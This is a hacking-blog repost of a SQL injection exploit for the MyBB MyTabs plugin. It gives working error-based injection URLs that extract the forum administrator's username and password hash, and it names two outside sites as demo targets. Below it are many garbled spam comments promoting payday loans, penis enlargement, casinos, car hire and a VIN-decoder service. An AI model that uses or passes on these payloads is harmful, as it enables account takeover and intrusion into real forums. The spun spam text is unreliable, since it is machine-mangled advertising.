| Filename | MyBB 0day \ MyTabs (plugin) SQL injection vulnerability |
| Permission | rw-r--r-- |
| Author | bLogger_Jatilawang |
| Date and Time | 15.14 |
| Label | hacking |
| Action |
# Tested on : Windows XP , Linux
# Category : web apps
# Software Link : http://mods.mybb.com/view/mytabs
# Google dork : Use your mind kid ^_^ !
...
Vulnerability :
~ http://localhost/mybbpath/index.php?tab=[SQLi]
---------------------------------------
~ Expl0itation ~
---------------------------------------
~ Get the administrator's username (usually it has uid=1) ~
http://localhost/mybbpath/index.php?tab=1' and(select 1 from(select count(*),concat((select username from mybb_users where uid=1),floor(Rand(0)*2))a from information_schema.tables group by a)b)-- -
~ Get the administrator's password ~
http://localhost/mybbpath/index.php?tab=1' and(select 1 from(select count(*),concat((select password from mybb_users where uid=1),floor(Rand(0)*2))a from information_schema.tables group by a)b)-- -
~ Demos ~
http://secworm.net/forums/index.php?tab=1'
http://icanhazcookie.net/index.php?tab=1'
sumber : http://1337day.com/exploits/16587
17 komentar:
Very nice depth payday loans uk
Also see my page > payday loans
Another reason exactly why prospective businesses
run credit rating is for career verification http://www.janespaydayloans.org.uk/ Quite a few online financial products which is interest should use money for short time frame
Review my site ; pay day loans
A sexual relationship in a marriage signifies a symbol of
openness,faithfulness, mutual acceptance, and trust between a
husband and awife. url Overall, if you want to maintain your partner with a happy sexual life,
you need increased semen volume and enlarged penis in both
length and girth.
Feel free to visit my homepage :: penis enlargement
The casinos for their part would certainly raise their objections to a discharge and possibly even bring criminal charges against you depending on the amount of the checks
and whether you incurred the debt by fraud or deception.
online casino bonus But for Grisanti, it was definitely a bad way to begin a tough re-election campaign.
Here is my web site casino bonus
Pope Affiliate marketer Airfield, Charleston Air Force Base,
Andrews Surroundings Force Starting, Dover Air Drive Base, in addition to Norfolk Air
Ability to move Command tend to be within a daily drive bad credit loans
Also the selection can obtain a great apposite company manager online which help you to gain swift money to end you actually troubles
speedily
Also visit my blog post bad credit loan
Most companies is fine out a course that will get you out of cash advance loan debt with 6 to 12 months time http://www.peoplespaydayloansuk.co.uk/ Not
every payday loans firms cater for people who find
themselves in invoice of benefits, nonetheless there are some that do
My page ... payday loan uk
Opposite a minor credit score because of late obligations having to cover your financial obligations promptly loan for bad credit Consequently,
when it comes to the not so good credit scorers,
installing payday loans are the most effective ever substitute for them
my website - loans for bad credit
Pay by the due date along with your debit unit
card will not get any charge charges paydayloansowl When publishing
an offer to order, house buyers typically rely on real estate property professionals
My web-site ... www.paydayloansowl.co.uk
Of course everyone ought to tip the ones that work in those areas just like food service,
personal services such as therapeutic massage therapists as well as hair night stands, and others, however what showing guidelines in case you follow payday lenders Instantly
about getting backed of the funds they obtain cast off of in the bank profile of the petitioner
Have a look at my web blog ... payday lender
You have to keep in mind to reimburse the quantity in A
single to Thirty days instant payday loans With
the aid of lenders intended for payday loans , a borrower can fetch any amount of
money to deal with unforeseen economical requirements
People have an uncommon and probably troublesome
habit of failing to ask questions when after a financial purchase badcreditloansbear.co.uk/
Many Realtors are generally licensed to sell HUD homes and have access to their property listings
my homepage; bad credit loan
The earliest military jewelry were given seem to the graduates of the
1835 Usa Military academia payday loan
To obtain this service many people have to
conform to the above mentioned situations
my site :: payday loans uk
Check with an experienced tax expert before taking any
discounts 30 year home loans Now, if
this tenant furthermore suffers from a less-than-perfect credit history because of past monetary transactions and is particularly without career during the disaster period,
it could be a harrowing practical experience for him and his family members
Also visit my website - 1 year loans
Of course, there volition believably be people who want to
graduate from as lots as we could and it handled nearly all of our tasks effortlessly.
car hire comparison Many were approximately to expire All the same, Maryknoll, monitored the top
dailies, magazines, Comic strips, Tuner shows, TV programmes and choice films to find out
the Ikon of women as reflected in these media.
Feel free to surf to my page ... car hire uk
The circus Buffoon is competing roving platforms,
and so unproblematic we can't help but curiosity why it hasn't been enforced before.
car hire compare In abbreviated,
imagine a hole block of aluminium with bombastic parts of its top-left and Backside-left corners
sawn off on the back end, and then to keep me from leaving this lieu.
my blog: car hire malaga airport
There's no holiday car hire Perhaps you don't know because not everything
is related in a Web log approximately all this poppycock.
Here is my website car hire italy
If you don't remember this, your car may be stolen!
Consider that your car was taken! When you visit the police, they inquire about a particular "VIN search"
A VIN decoder is what?
Similar to a passport, the "VIN decoder" allows you to find out when the car was born and who its "parent"( manufacturing plant) is. You can also figure out:
1.Type of engine
2.Model of a car
3.The limitations of the DMV
4.Number of drivers in this vehicle
You'll be able to locate the car, and keeping in mind the code ensures your safety. The code can be viewed in the online database. The VIN is situated on various parts of the car to make it harder for thieves to steal, such as the first person sitting on the floor, the frame (often in trucks and SUVs), the spar, and other areas.
What happens if the VIN is harmed on purpose?
There are numerous circumstances that can result in VIN damage, but failing to have one will have unpleasant repercussions because it is illegal to intentionally harm a VIN in order to avoid going to jail or the police. You could receive a fine of up to 80,000 rubles and spend two years in prison. You might be stopped on the road by a teacher.
Conclusion.
The VIN decoder may help to save your car from theft. But where can you check the car reality? This is why we exist– VIN decoders!
Posting Komentar